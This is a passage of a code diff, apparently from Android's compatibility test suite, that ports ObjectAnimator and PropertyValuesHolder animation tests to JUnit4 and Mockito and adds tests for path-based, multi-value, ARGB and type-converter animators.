-        getInstrumentation().waitForIdleSync();
-        startAnimation(mObjectAnimator, colorAnimator);
-        Thread.sleep(100);
-        Integer i = (Integer) colorAnimator.getAnimatedValue();
-        //We are going from less negative value to a more negative value
-        assertTrue(i.intValue() <= startColor);
-        assertTrue(endColor <= i.intValue());
+        final Animator.AnimatorListener mockListener = mock(Animator.AnimatorListener.class);
+        intAnimator.addListener(mockListener);
+
+        intAnimator.addUpdateListener(updateListener);
+        intAnimator.setDuration(200);
+        intAnimator.setRepeatCount(1);
+        intAnimator.setRepeatMode(ValueAnimator.REVERSE);
+        mActivityRule.runOnUiThread(intAnimator::start);
+
+        verify(mockListener, timeout(400)).onAnimationRepeat(intAnimator);
+        verify(mockListener, timeout(400)).onAnimationEnd(intAnimator, false);
     }
 
+    @Test
     public void testOfObject() throws Throwable {
         Object object = mActivity.view.newBall;
         String property = "backgroundColor";
-        int startColor = mActivity.view.RED;
-        int endColor = mActivity.view.BLUE;
+        int startColor = 0xFFFF8080;
+        int endColor = 0xFF8080FF;
+
         Object[] values = {new Integer(startColor), new Integer(endColor)};
         ArgbEvaluator evaluator = new ArgbEvaluator();
         final ObjectAnimator colorAnimator = ObjectAnimator.ofObject(object, property,
                 evaluator, values);
-        colorAnimator.setDuration(1000);
+        ValueAnimator.AnimatorUpdateListener updateListener = ((animator) -> {
+            int color = (Integer) colorAnimator.getAnimatedValue();
+            // Check that channel is interpolated separately.
+            assertEquals(0xFF, Color.alpha(color));
+            assertTrue(Color.red(color) <= Color.red(startColor));
+            assertTrue(Color.red(color) >= Color.red(endColor));
+            assertEquals(0x80, Color.green(color));
+            assertTrue(Color.blue(color) >= Color.blue(startColor));
+            assertTrue(Color.blue(color) <= Color.blue(endColor));
+        });
+        final Animator.AnimatorListener mockListener = mock(Animator.AnimatorListener.class);
+        colorAnimator.addListener(mockListener);
+
+        colorAnimator.addUpdateListener(updateListener);
+        colorAnimator.setDuration(200);
         colorAnimator.setRepeatCount(1);
         colorAnimator.setRepeatMode(ValueAnimator.REVERSE);
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                colorAnimator.start();
-            }
-        });
-        getInstrumentation().waitForIdleSync();
-        startAnimation(mObjectAnimator, colorAnimator);
-        Thread.sleep(100);
-        Integer i = (Integer) colorAnimator.getAnimatedValue();
-        //We are going from less negative value to a more negative value
-        assertTrue(i.intValue() <= startColor);
-        assertTrue(endColor <= i.intValue());
+        mActivityRule.runOnUiThread(colorAnimator::start);
+
+        verify(mockListener, timeout(400)).onAnimationRepeat(colorAnimator);
+        verify(mockListener, timeout(400)).onAnimationEnd(colorAnimator, false);
     }
 
+    @Test
     public void testOfPropertyValuesHolder() throws Throwable {
         Object object = mActivity.view.newBall;
-        String propertyName = "backgroundColor";
-        int startColor = mActivity.view.RED;
-        int endColor = mActivity.view.BLUE;
-        int values[] = {startColor, endColor};
-        ArgbEvaluator evaluator = new ArgbEvaluator();
+        String propertyName = "scrollX";
+        int startValue = 200;
+        int endValue = 0;
+        int[] values = {startValue, endValue};
         PropertyValuesHolder propertyValuesHolder = PropertyValuesHolder.ofInt(propertyName, values);
-        final ObjectAnimator colorAnimator = ObjectAnimator.ofPropertyValuesHolder(object,
+        final ObjectAnimator intAnimator = ObjectAnimator.ofPropertyValuesHolder(object,
             propertyValuesHolder);
-        colorAnimator.setDuration(1000);
-        colorAnimator.setRepeatCount(1);
-        colorAnimator.setRepeatMode(ValueAnimator.REVERSE);
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                colorAnimator.start();
-            }
+
+        ValueAnimator.AnimatorUpdateListener updateListener = ((animator) -> {
+            int value = (Integer) intAnimator.getAnimatedValue();
+            // Check that each channel is interpolated separately.
+            assertTrue(value <= 200);
+            assertTrue(value >= 0);
         });
-        getInstrumentation().waitForIdleSync();
-        startAnimation(mObjectAnimator, colorAnimator);
-        Thread.sleep(100);
-        Integer i = (Integer) colorAnimator.getAnimatedValue();
-        //We are going from less negative value to a more negative value
-        assertTrue(i.intValue() <= startColor);
-        assertTrue(endColor <= i.intValue());
+        final Animator.AnimatorListener mockListener = mock(Animator.AnimatorListener.class);
+        intAnimator.addListener(mockListener);
+
+        intAnimator.addUpdateListener(updateListener);
+        intAnimator.setDuration(200);
+        mActivityRule.runOnUiThread(intAnimator::start);
+
+        verify(mockListener, timeout(400)).onAnimationEnd(intAnimator, false);
     }
 
+    @Test
+    public void testOfArgb() throws Throwable {
+        Object object = mActivity.view;
+        String property = "backgroundColor";
+        int start = 0xffff0000;
+        int end = 0xff0000ff;
+        int[] values = {start, end};
+        int startRed = Color.red(start);
+        int startBlue = Color.blue(start);
+        int endRed = Color.red(end);
+        int endBlue = Color.blue(end);
+
+        ValueAnimator.AnimatorUpdateListener updateListener = ((anim) -> {
+            Integer animatedValue = (Integer) anim.getAnimatedValue();
+            int alpha = Color.alpha(animatedValue);
+            int red = Color.red(animatedValue);
+            int green = Color.green(animatedValue);
+            int blue = Color.blue(animatedValue);
+            assertTrue(red <= startRed);
+            assertTrue(red >= endRed);
+            assertTrue(blue >= startBlue);
+            assertTrue(blue <= endBlue);
+            assertEquals(255, alpha);
+            assertEquals(0, green);
+
+        });
+
+        final Animator.AnimatorListener mockListener = mock(Animator.AnimatorListener.class);
+        final ObjectAnimator animator = ObjectAnimator.ofArgb(object, property, start, end);
+        animator.setDuration(200);
+        animator.addListener(mockListener);
+        animator.addUpdateListener(updateListener);
+
+        mActivityRule.runOnUiThread(animator::start);
+        assertTrue(animator.isRunning());
+
+        verify(mockListener, timeout(400)).onAnimationEnd(animator, false);
+    }
+
+    @Test
+    public void testNullObject() throws Throwable {
+        final ObjectAnimator anim = ObjectAnimator.ofFloat(null, "dummyValue", 0f, 1f);
+        anim.setDuration(300);
+        final ValueAnimator.AnimatorUpdateListener updateListener =
+                mock(ValueAnimator.AnimatorUpdateListener.class);
+        anim.addUpdateListener(updateListener);
+        final Animator.AnimatorListener listener = mock(Animator.AnimatorListener.class);
+        anim.addListener(listener);
+
+        mActivityRule.runOnUiThread(anim::start);
+        verify(listener, within(500)).onAnimationEnd(anim, false);
+        // Verify that null target ObjectAnimator didn't get canceled.
+        verify(listener, times(0)).onAnimationCancel(anim);
+        // Verify that the update listeners gets called a few times.
+        verify(updateListener, atLeast(8)).onAnimationUpdate(anim);
+    }
+
+    @Test
     public void testGetPropertyName() throws Throwable {
         Object object = mActivity.view.newBall;
         String propertyName = "backgroundColor";
@@ -175,6 +296,7 @@
         assertEquals(propertyName, actualPropertyName);
     }
 
+    @Test
     public void testSetFloatValues() throws Throwable {
         Object object = mActivity.view.newBall;
         String property = "y";
@@ -182,6 +304,15 @@
         float endY = mActivity.mStartY + mActivity.mDeltaY;
         float[] values = {startY, endY};
         ObjectAnimator objAnimator = new ObjectAnimator();
+        ValueAnimator.AnimatorUpdateListener updateListener = ((animator) -> {
+            float y = (Float) animator.getAnimatedValue();
+            assertTrue(y >= startY);
+            assertTrue(y <= endY);
+        });
+        ValueAnimator.AnimatorUpdateListener mockListener =
+                mock(ValueAnimator.AnimatorUpdateListener.class);
+        objAnimator.addUpdateListener(mockListener);
+        objAnimator.addUpdateListener(updateListener);
         objAnimator.setTarget(object);
         objAnimator.setPropertyName(property);
         objAnimator.setFloatValues(values);
@@ -189,13 +320,13 @@
         objAnimator.setRepeatCount(ValueAnimator.INFINITE);
         objAnimator.setInterpolator(new AccelerateInterpolator());
         objAnimator.setRepeatMode(ValueAnimator.REVERSE);
-        startAnimation(objAnimator);
-        Thread.sleep(100);
-        float y = mActivity.view.newBall.getY();
-        assertTrue( y >= startY);
-        assertTrue( y <= endY);
+        mActivityRule.runOnUiThread(objAnimator::start);
+
+        verify(mockListener, timeout(2000).atLeast(20)).onAnimationUpdate(objAnimator);
+        mActivityRule.runOnUiThread(objAnimator::cancel);
     }
 
+    @Test
     public void testGetTarget() throws Throwable {
         Object object = mActivity.view.newBall;
         String propertyName = "backgroundColor";
@@ -209,6 +340,7 @@
         assertEquals(object, target);
     }
 
+    @Test
     public void testClone() throws Throwable {
         Object object = mActivity.view.newBall;
         String property = "y";
@@ -230,6 +362,418 @@
         assertEquals(interpolator, cloneAnimator.getInterpolator());
     }
 
+    @Test
+    public void testOfFloat_Path() throws Throwable {
+        // Test for ObjectAnimator.ofFloat(Object, String, String, Path)
+        // Create a path that contains two disconnected line segments. Check that the animated
+        // property x and property y always stay on the line segments.
+        Path path = new Path();
+        path.moveTo(LINE1_START, LINE1_Y);
+        path.lineTo(LINE1_END, LINE1_Y);
+        path.moveTo(LINE2_START, LINE2_START);
+        path.lineTo(LINE2_END, LINE2_END);
+        final double totalLength = (LINE1_END - LINE1_START) + Math.sqrt(
+                (LINE2_END - LINE2_START) * (LINE2_END - LINE2_START) +
+                (LINE2_END - LINE2_START) * (LINE2_END - LINE2_START));
+        final double firstSegEndFraction = (LINE1_END - LINE1_START) / totalLength;
+        final float delta = 0.01f;
+
+        Object target = new Object() {
+            public void setX(float x) {
+            }
+
+            public void setY(float y) {
+            }
+        };
+
+        final ObjectAnimator anim = ObjectAnimator.ofFloat(target, "x", "y", path);
+        anim.setDuration(200);
+        // Linear interpolator
+        anim.setInterpolator(null);
+        anim.addUpdateListener((ValueAnimator animation) -> {
+            float fraction = animation.getAnimatedFraction();
+            float x = (Float) animation.getAnimatedValue("x");
+            float y = (Float) animation.getAnimatedValue("y");
+
+            // Check that the point is on the path.
+            if (x <= 0) {
+                // First line segment is a horizontal line.
+                assertTrue(x >= LINE1_START);
+                assertTrue(x <= LINE1_END);
+                assertEquals(LINE1_Y, y, 0.0f);
+
+                // Check that the time animation stays on the first segment is proportional to
+                // the length of the first line segment.
+                assertTrue(fraction < firstSegEndFraction + delta);
+            } else {
+                assertTrue(x >= LINE2_START);
+                assertTrue(x <= LINE2_END);
+                assertEquals(x, y, 0.0f);
+
+                // Check that the time animation stays on the second segment is proportional to
+                // the length of the second line segment.
+                assertTrue(fraction > firstSegEndFraction - delta);
+            }
+        });
+        final Animator.AnimatorListener listener = mock(Animator.AnimatorListener.class);
+        anim.addListener(listener);
+        mActivityRule.runOnUiThread(anim::start);
+        verify(listener, within(400)).onAnimationEnd(anim, false);
+    }
+
+    @Test
+    public void testOfInt_Path() throws Throwable {
+        // Test for ObjectAnimator.ofInt(Object, String, String, Path)
+        // Create a path that contains two disconnected line segments. Check that the animated
+        // property x and property y always stay on the line segments.
+        Path path = new Path();
+        path.moveTo(LINE1_START, -LINE1_START);
+        path.lineTo(LINE1_END, -LINE1_END);
+        path.moveTo(LINE2_START, LINE2_START);
+        path.lineTo(LINE2_END, LINE2_END);
+
+        Object target = new Object() {
+            public void setX(float x) {
+            }
+
+            public void setY(float y) {
+            }
+        };
+        final CountDownLatch endLatch = new CountDownLatch(1);
+        final ObjectAnimator anim = ObjectAnimator.ofInt(target, "x", "y", path);
+        anim.setDuration(200);
+
+        // Linear interpolator
+        anim.setInterpolator(null);
+        anim.addUpdateListener((ValueAnimator animation) -> {
+            float fraction = animation.getAnimatedFraction();
+            int x = (Integer) animation.getAnimatedValue("x");
+            int y = (Integer) animation.getAnimatedValue("y");
+
+            // Check that the point is on the path.
+            if (x <= 0) {
+                // Check that the time animation stays on the first segment is proportional to
+                // the length of the first line segment.
+                assertTrue(x >= LINE1_START);
+                assertTrue(x <= LINE1_END);
+                assertEquals(x, -y);
+
+                // First line segment is 3 times as long as the second line segment, so the
+                // 3/4 of the animation duration will be spent on the first line segment.
+                assertTrue(fraction <= 0.75f);
+            } else {
+                // Check that the time animation stays on the second segment is proportional to
+                // the length of the second line segment.
+                assertTrue(x >= LINE2_START);
+                assertTrue(x <= LINE2_END);
+                assertEquals(x, y);
+
+                assertTrue(fraction >= 0.75f);
+            }
+        });
+        anim.addListener(new AnimatorListenerAdapter() {
+            @Override
+            public void onAnimationEnd(Animator animation) {
+                endLatch.countDown();
+            }
+        });
+        mActivityRule.runOnUiThread(anim::start);
+        assertTrue(endLatch.await(400, TimeUnit.MILLISECONDS));
+    }
+
+    @Test
+    public void testOfMultiFloat_Path() throws Throwable {
+        // Test for ObjectAnimator.ofMultiFloat(Object, String, Path);
+        // Create a quadratic bezier curve that are symmetric about the vertical line (x = 50).
+        // Expect when fraction < 0.5, x < 50, otherwise, x >= 50.
+        Path path = new Path();
+        path.moveTo(QUADRATIC_CTRL_PT1_X, QUADRATIC_CTRL_PT1_Y);
+        path.quadTo(QUADRATIC_CTRL_PT2_X, QUADRATIC_CTRL_PT2_Y,
+                QUADRATIC_CTRL_PT3_X, QUADRATIC_CTRL_PT3_Y);
+
+        Object target = new Object() {
+            public void setPosition(float x, float y) {
+            }
+        };
+
+        final ObjectAnimator anim = ObjectAnimator.ofMultiFloat(target, "position", path);
+        // Linear interpolator
+        anim.setInterpolator(null);
+        anim.setDuration(200);
+
+        anim.addUpdateListener(new ValueAnimator.AnimatorUpdateListener() {
+            float lastFraction = 0;
+            float lastX = 0;
+            float lastY = 0;
+            @Override
+            public void onAnimationUpdate(ValueAnimator animation) {
+                float[] values = (float[]) animation.getAnimatedValue();
+                assertEquals(2, values.length);
+                float x = values[0];
+                float y = values[1];
+                float fraction = animation.getAnimatedFraction();
+                // Given that the curve is symmetric about the line (x = 50), x should be less than
+                // 50 for half of the animation duration.
+                if (fraction < 0.5) {
+                    assertTrue(x < QUADRATIC_CTRL_PT2_X);
+                } else {
+                    assertTrue(x >= QUADRATIC_CTRL_PT2_X);
+                }
+
+                if (lastFraction > 0.5) {
+                    // x should be increasing, y should be decreasing
+                    assertTrue(x >= lastX);
+                    assertTrue(y <= lastY);
+                } else if (fraction <= 0.5) {
+                    // when fraction <= 0.5, both x, y should be increasing
+                    assertTrue(x >= lastX);
+                    assertTrue(y >= lastY);
+                }
+                lastX = x;
+                lastY = y;
+                lastFraction = fraction;
+            }
+        });
+        final Animator.AnimatorListener listener = mock(Animator.AnimatorListener.class);
+        anim.addListener(listener);
+        mActivityRule.runOnUiThread(anim::start);
+        verify(listener, within(400)).onAnimationEnd(anim, false);
+    }
+
+    @Test
+    public void testOfMultiFloat() throws Throwable {
+        // Test for ObjectAnimator.ofMultiFloat(Object, String, float[][]);
+        final float[][] data = new float[10][];
+        for (int i = 0; i < data.length; i++) {
+            data[i] = new float[3];
+            data[i][0] = i;
+            data[i][1] = i * 2;
+            data[i][2] = 0f;
+        }
+
+        Object target = new Object() {
+            public void setPosition(float x, float y, float z) {
+            }
+        };
+        final CountDownLatch endLatch = new CountDownLatch(1);
+        final ObjectAnimator anim = ObjectAnimator.ofMultiFloat(target, "position", data);
+        anim.setInterpolator(null);
+        anim.setDuration(60);
+        anim.addListener(new AnimatorListenerAdapter() {
+            @Override
+            public void onAnimationEnd(Animator animation) {
+                endLatch.countDown();
+            }
+        });
+
+        anim.addUpdateListener((ValueAnimator animation) -> {
+            float fraction = animation.getAnimatedFraction();
+            float[] values = (float[]) animation.getAnimatedValue();
+            assertEquals(3, values.length);
+
+            float expectedX = fraction * (data.length - 1);
+
+            assertEquals(expectedX, values[0], EPSILON);
+            assertEquals(expectedX * 2, values[1], EPSILON);
+            assertEquals(0f, values[2], 0.0f);
+        });
+
+        mActivityRule.runOnUiThread(anim::start);
+        assertTrue(endLatch.await(200, TimeUnit.MILLISECONDS));
+    }
+
+    @Test
+    public void testOfMultiInt_Path() throws Throwable {
+        // Test for ObjectAnimator.ofMultiInt(Object, String, Path);
+        // Create a quadratic bezier curve that are symmetric about the vertical line (x = 50).
+        // Expect when fraction < 0.5, x < 50, otherwise, x >= 50.
+        Path path = new Path();
+        path.moveTo(QUADRATIC_CTRL_PT1_X, QUADRATIC_CTRL_PT1_Y);
+        path.quadTo(QUADRATIC_CTRL_PT2_X, QUADRATIC_CTRL_PT2_Y,
+                QUADRATIC_CTRL_PT3_X, QUADRATIC_CTRL_PT3_Y);
+
+        Object target = new Object() {
+            public void setPosition(int x, int y) {
+            }
+        };
+
+        final ObjectAnimator anim = ObjectAnimator.ofMultiInt(target, "position", path);
+        // Linear interpolator
+        anim.setInterpolator(null);
+        anim.setDuration(200);
+
+        anim.addUpdateListener(new ValueAnimator.AnimatorUpdateListener() {
+            float lastFraction = 0;
+            int lastX = 0;
+            int lastY = 0;
+            @Override
+            public void onAnimationUpdate(ValueAnimator animation) {
+                int[] values = (int[]) animation.getAnimatedValue();
+                assertEquals(2, values.length);
+                int x = values[0];
+                int y = values[1];
+                float fraction = animation.getAnimatedFraction();
+                // Given that the curve is symmetric about the line (x = 50), x should be less than
+                // 50 for half of the animation duration.
+                if (fraction < 0.5) {
+                    assertTrue(x < QUADRATIC_CTRL_PT2_X);
+                } else {
+                    assertTrue(x >= QUADRATIC_CTRL_PT2_X);
+                }
+
+                if (lastFraction > 0.5) {
+                    // x should be increasing, y should be decreasing
+                    assertTrue(x >= lastX);
+                    assertTrue(y <= lastY);
+                } else if (fraction <= 0.5) {
+                    // when fraction <= 0.5, both x, y should be increasing
+                    assertTrue(x >= lastX);
+                    assertTrue(y >= lastY);
+                }
+                lastX = x;
+                lastY = y;
+                lastFraction = fraction;
+            }
+        });
+        final Animator.AnimatorListener listener = mock(Animator.AnimatorListener.class);
+        anim.addListener(listener);
+        mActivityRule.runOnUiThread(anim::start);
+        verify(listener, within(400)).onAnimationEnd(anim, false);
+    }
+
+    @Test
+    public void testOfMultiInt() throws Throwable {
+        // Test for ObjectAnimator.ofMultiFloat(Object, String, int[][]);
+        final int[][] data = new int[10][];
+        for (int i = 0; i < data.length; i++) {
+            data[i] = new int[3];
+            data[i][0] = i;
+            data[i][1] = i * 2;
+            data[i][2] = 0;
+        }
+
+        Object target = new Object() {
+            public void setPosition(int x, int y, int z) {
+            }
+        };
+        final CountDownLatch endLatch = new CountDownLatch(1);
+        final ObjectAnimator anim = ObjectAnimator.ofMultiInt(target, "position", data);
+        anim.setInterpolator(null);
+        anim.setDuration(60);
+        anim.addListener(new AnimatorListenerAdapter() {
+            @Override
+            public void onAnimationEnd(Animator animation) {
+                endLatch.countDown();
+            }
+        });
+
+        anim.addUpdateListener((ValueAnimator animation) -> {
+            float fraction = animation.getAnimatedFraction();
+            int[] values = (int[]) animation.getAnimatedValue();
+            assertEquals(3, values.length);
+
+            int expectedX = Math.round(fraction * (data.length - 1));
+            int expectedY = Math.round(fraction * (data.length - 1) * 2);
+
+            // Allow a delta of 1 for rounding errors.
+            assertEquals(expectedX, values[0], 1);
+            assertEquals(expectedY, values[1], 1);
+            assertEquals(0, values[2]);
+        });
+
+        mActivityRule.runOnUiThread(anim::start);
+        assertTrue(endLatch.await(200, TimeUnit.MILLISECONDS));
+    }
+
+    @Test
+    public void testOfObject_Converter() throws Throwable {
+        // Test for ObjectAnimator.ofObject(Object, String, TypeConverter<T, V>, Path)
+        // Create a path that contains two disconnected line segments. Check that the animated
+        // property x and property y always stay on the line segments.
+        Path path = new Path();
+        path.moveTo(LINE1_START, -LINE1_START);
+        path.lineTo(LINE1_END, -LINE1_END);
+        path.moveTo(LINE2_START, LINE2_START);
+        path.lineTo(LINE2_END, LINE2_END);
+
+        Object target1 = new Object() {
+            public void setDistance(float distance) {
+            }
+        };
+        Object target2 = new Object() {
+            public void setPosition(PointF pos) {
+            }
+        };
+        TypeConverter<PointF, Float> converter = new TypeConverter<PointF, Float>(
+                PointF.class, Float.class) {
+            @Override
+            public Float convert(PointF value) {
+                return (float) Math.sqrt(value.x * value.x + value.y * value.y);
+            }
+        };
+        final CountDownLatch endLatch = new CountDownLatch(2);
+
+        // Create two animators. One use a converter that converts the point to distance to origin.
+        // The other one does not have a type converter.
+        final ObjectAnimator anim1 = ObjectAnimator.ofObject(target1, "distance", converter, path);
+        anim1.setDuration(100);
+        anim1.setInterpolator(null);
+        anim1.addListener(new AnimatorListenerAdapter() {
+            @Override
+            public void onAnimationEnd(Animator animation) {
+                endLatch.countDown();
+            }
+        });
+
+        final ObjectAnimator anim2 = ObjectAnimator.ofObject(target2, "position", null, path);
+        anim2.setDuration(100);
+        anim2.setInterpolator(null);
+        anim2.addListener(new AnimatorListenerAdapter() {
+            @Override
+            public void onAnimationEnd(Animator animation) {
+                endLatch.countDown();
+            }
+        });
+        anim2.addUpdateListener(new ValueAnimator.AnimatorUpdateListener() {
+            // Set the initial value of the distance to the distance between the first point on
+            // the path to the origin.
+            float mLastDistance = (float) (32 * Math.sqrt(2));
+            float mLastFraction = 0f;
+            @Override
+            public void onAnimationUpdate(ValueAnimator animation) {
+                float fraction = anim1.getAnimatedFraction();
+                assertEquals(fraction, anim2.getAnimatedFraction(), 0.0f);
+                float distance = (Float) anim1.getAnimatedValue();
+                PointF position = (PointF) anim2.getAnimatedValue();
+
+                // Manually calculate the distance for the animator that doesn't have a
+                // TypeConverter, and expect the result to be the same as the animation value from
+                // the type converter.
+                float distanceFromPosition = (float) Math.sqrt(
+                        position.x * position.x + position.y * position.y);
+                assertEquals(distance, distanceFromPosition, 0.0001f);
+
+                if (mLastFraction > 0.75) {
+                    // In the 2nd line segment of the path, distance to origin should be increasing.
+                    assertTrue(distance >= mLastDistance);
+                } else if (fraction < 0.75) {
+                    assertTrue(distance <= mLastDistance);
+                }
+                mLastDistance = distance;
+                mLastFraction = fraction;
+            }
+        });
+
+        mActivityRule.runOnUiThread(() -> {
+            anim1.start();
+            anim2.start();
+        });
+
+        // Wait until both of the animations finish
+        assertTrue(endLatch.await(500, TimeUnit.MILLISECONDS));
+    }
+
+    @Test
     public void testIsStarted() throws Throwable {
         Object object = mActivity.view.newBall;
         String property = "y";
@@ -242,11 +786,12 @@
         objAnimator.setInterpolator(interpolator);
         objAnimator.setRepeatMode(ValueAnimator.REVERSE);
         startAnimation(objAnimator);
-        Thread.sleep(100);
+        SystemClock.sleep(100);
         assertTrue(objAnimator.isStarted());
-        Thread.sleep(100);
+        SystemClock.sleep(100);
     }
 
+    @Test
     public void testSetStartEndValues() throws Throwable {
         final float startValue = 100, endValue = 500;
         final AnimTarget target = new AnimTarget();
@@ -255,15 +800,12 @@
         anim1.setupStartValues();
         target.setTestValue(endValue);
         anim1.setupEndValues();
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                anim1.start();
-                assertEquals(startValue, (Float) anim1.getAnimatedValue());
-                anim1.setCurrentFraction(1);
-                assertEquals(endValue, (Float) anim1.getAnimatedValue());
-                anim1.cancel();
-            }
+        mActivityRule.runOnUiThread(() -> {
+            anim1.start();
+            assertEquals(startValue, (float) anim1.getAnimatedValue(), 0.0f);
+            anim1.setCurrentFraction(1);
+            assertEquals(endValue, (float) anim1.getAnimatedValue(), 0.0f);
+            anim1.cancel();
         });
 
         final Property property = AnimTarget.TEST_VALUE;
@@ -274,15 +816,12 @@
         target.setTestValue(endValue);
         final float endValueExpected = (Float) property.get(target);
         anim2.setupEndValues();
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                anim2.start();
-                assertEquals(startValueExpected, (Float) anim2.getAnimatedValue());
-                anim2.setCurrentFraction(1);
-                assertEquals(endValueExpected, (Float) anim2.getAnimatedValue());
-                anim2.cancel();
-            }
+        mActivityRule.runOnUiThread(() -> {
+            anim2.start();
+            assertEquals(startValueExpected, (float) anim2.getAnimatedValue(), 0.0f);
+            anim2.setCurrentFraction(1);
+            assertEquals(endValueExpected, (float) anim2.getAnimatedValue(), 0.0f);
+            anim2.cancel();
         });
 
         // This is a test that ensures that the values set on a Property-based animator
@@ -296,15 +835,47 @@
         target.setTestValue(endValue);
         final float endValueExpected3 = (Float) doubler.get(target);
         anim3.setupEndValues();
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                anim3.start();
-                assertEquals(startValueExpected3, (Float) anim3.getAnimatedValue());
-                anim3.setCurrentFraction(1);
-                assertEquals(endValueExpected3, (Float) anim3.getAnimatedValue());
-                anim3.cancel();
-            }
+        mActivityRule.runOnUiThread(() -> {
+            anim3.start();
+            assertEquals(startValueExpected3, (float) anim3.getAnimatedValue(), 0.0f);
+            anim3.setCurrentFraction(1);
+            assertEquals(endValueExpected3, (float) anim3.getAnimatedValue(), 0.0f);
+            anim3.cancel();
+        });
+    }
+
+    @Test
+    public void testCachedValues() throws Throwable {
+        final AnimTarget target = new AnimTarget();
+        final ObjectAnimator anim = ObjectAnimator.ofFloat(target, "testValue", 100);
+        anim.setDuration(200);
+        final CountDownLatch twoFramesLatch = new CountDownLatch(2);
+        mActivityRule.runOnUiThread(() -> {
+            anim.start();
+            final View decor = mActivity.getWindow().getDecorView();
+            decor.postOnAnimation(new Runnable() {
+                @Override
+                public void run() {
+                    if (twoFramesLatch.getCount() > 0) {
+                        twoFramesLatch.countDown();
+                        decor.postOnAnimation(this);
+                    }
+                }
+            });
+        });
+
+        assertTrue("Animation didn't start in a reasonable time",
+                twoFramesLatch.await(100, TimeUnit.MILLISECONDS));
+
+        mActivityRule.runOnUiThread(() -> {
+            assertTrue("Start value should readjust to current position",
+                    target.getTestValue() != 0);
+            anim.cancel();
+            anim.setupStartValues();
+            anim.start();
+            assertTrue("Start value should readjust to current position",
+                    target.getTestValue() != 0);
+            anim.cancel();
         });
     }
 
@@ -348,20 +919,11 @@
     }
 
     private void startAnimation(final ObjectAnimator mObjectAnimator) throws Throwable {
-        Thread mAnimationRunnable = new Thread() {
-            public void run() {
-                mActivity.startAnimation(mObjectAnimator);
-            }
-        };
-        this.runTestOnUiThread(mAnimationRunnable);
+        mActivityRule.runOnUiThread(() -> mActivity.startAnimation(mObjectAnimator));
     }
+
     private void startAnimation(final ObjectAnimator mObjectAnimator, final
             ObjectAnimator colorAnimator) throws Throwable {
-        Thread mAnimationRunnable = new Thread() {
-            public void run() {
-                mActivity.startAnimation(mObjectAnimator, colorAnimator);
-            }
-        };
-        this.runTestOnUiThread(mAnimationRunnable);
+        mActivityRule.runOnUiThread(() -> mActivity.startAnimation(mObjectAnimator, colorAnimator));
     }
 }
diff --git a/tests/tests/animation/src/android/animation/cts/PropertyValuesHolderTest.java b/tests/tests/animation/src/android/animation/cts/PropertyValuesHolderTest.java
index 200ebce..3b827ec 100644
--- a/tests/tests/animation/src/android/animation/cts/PropertyValuesHolderTest.java
+++ b/tests/tests/animation/src/android/animation/cts/PropertyValuesHolderTest.java
@@ -15,53 +15,91 @@
  */
 package android.animation.cts;
 
+import static com.android.compatibility.common.util.CtsMockitoUtils.within;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.verify;
+
 import android.animation.Animator;
 import android.animation.AnimatorListenerAdapter;
 import android.animation.ArgbEvaluator;
 import android.animation.Keyframe;
 import android.animation.ObjectAnimator;
 import android.animation.PropertyValuesHolder;
+import android.animation.TypeConverter;
 import android.animation.ValueAnimator;
+import android.app.Instrumentation;
+import android.graphics.Color;
+import android.graphics.Path;
+import android.graphics.PointF;
 import android.graphics.drawable.ShapeDrawable;
-import android.test.ActivityInstrumentationTestCase2;
+import android.os.SystemClock;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.LargeTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.FloatProperty;
 import android.util.Property;
 import android.view.View;
 import android.view.animation.AccelerateInterpolator;
 
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 
-public class PropertyValuesHolderTest extends
-        ActivityInstrumentationTestCase2<AnimationActivity> {
+@LargeTest
+@RunWith(AndroidJUnit4.class)
+public class PropertyValuesHolderTest {
+    private static final float LINE1_START = -32f;
+    private static final float LINE1_END = -2f;
+    private static final float LINE2_START = 2f;
+    private static final float LINE2_END = 12f;
+    private static final float QUADRATIC_CTRL_PT1_X = 0f;
+    private static final float QUADRATIC_CTRL_PT1_Y = 0f;
+    private static final float QUADRATIC_CTRL_PT2_X = 50f;
+    private static final float QUADRATIC_CTRL_PT2_Y = 20f;
+    private static final float QUADRATIC_CTRL_PT3_X = 100f;
+    private static final float QUADRATIC_CTRL_PT3_Y = 0f;
+    private static final float EPSILON = .001f;
+
+    private Instrumentation mInstrumentation;
     private AnimationActivity mActivity;
-    private Animator mAnimator;
     private long mDuration = 1000;
     private float mStartY;
     private float mEndY;
     private Object mObject;
     private String mProperty;
 
-    public PropertyValuesHolderTest() {
-        super(AnimationActivity.class);
+    @Rule
+    public ActivityTestRule<AnimationActivity> mActivityRule =
+            new ActivityTestRule<>(AnimationActivity.class);
+
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mInstrumentation.setInTouchMode(false);
+        mActivity = mActivityRule.getActivity();
+        mProperty = "y";
+        mStartY = mActivity.mStartY;
+        mEndY = mActivity.mStartY + mActivity.mDeltaY;
+        mObject = mActivity.view.newBall;
     }
 
-    public void setUp() throws Exception {
-         super.setUp();
-         setActivityInitialTouchMode(false);
-         mActivity = getActivity();
-         mAnimator = mActivity.createAnimatorWithDuration(mDuration);
-         mProperty = "y";
-         mStartY = mActivity.mStartY;
-         mEndY = mActivity.mStartY + mActivity.mDeltaY;
-         mObject = mActivity.view.newBall;
-    }
-
+    @Test
     public void testGetPropertyName() {
         float[] values = {mStartY, mEndY};
         PropertyValuesHolder pVHolder = PropertyValuesHolder.ofFloat(mProperty, values);
         assertEquals(mProperty, pVHolder.getPropertyName());
     }
 
+    @Test
     public void testSetPropertyName() {
         float[] values = {mStartY, mEndY};
         PropertyValuesHolder pVHolder = PropertyValuesHolder.ofFloat("", values);
@@ -69,6 +107,7 @@
         assertEquals(mProperty, pVHolder.getPropertyName());
     }
 
+    @Test
     public void testClone() {
         float[] values = {mStartY, mEndY};
